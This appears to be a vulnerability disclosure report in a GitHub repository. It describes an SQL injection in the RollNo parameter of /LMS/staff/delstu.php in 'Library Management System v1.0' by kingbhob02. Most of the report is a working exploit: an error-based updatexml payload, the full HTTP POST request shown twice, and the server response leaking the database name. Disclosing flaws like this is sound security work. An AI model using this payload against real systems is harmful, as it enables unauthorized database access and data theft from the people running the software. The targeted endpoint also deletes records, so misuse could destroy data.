⑂ main ▾   ···

bug_report / vendors / kingbhob02 / library-management-system / **SQLi-17.md**

🐕 **debug601** Create SQLi-17.md   ⟳ History

⧑ **1 contributor**

29 lines (21 sloc) │ 1.11 KB   ···

Library Management System v1.0 by kingbhob02 has SQL injection

vendors: https://www.sourcecodester.com/php/15434/library-management-system-qr-code-attendance-and-auto-generate-library-card.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /LMS/staff/delstu.php

Vulnerability location: /LMS/staff/delstu.php, RollNo

[+] Payload: delete=&RollNo=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> RollNo

```
POST /LMS/staff/delstu.php HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: _ga=GA1.1.1382961971.1655097107; PHPSESSID=7v8p4p3goshl3b4fkncu3bh9ui
Connection: close
```

Content-Type: application/x-www-form-urlencoded
Content-Length: 49

delete=&RollNo=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

◄ ►

POST /LMS/staff/delstu.php HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0)
Gecko/20100101 Firefox/46.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: _ga=GA1.1.1382961971.1655097107;
PHPSESSID=7v8p4p3goshl3b4fkncu3bh9ui
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 77

delete=&RollNo=1' and updatexml(1,concat(0x7e,(select
database()),0x7e),0)--+

HTTP/1.1 200 OK
Date: Fri, 22 Jul 2022 13:50:32 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Content-Length: 27
Connection: close
Content-Type: text/html; charset=UTF-8

XPATH syntax error: '~lms~'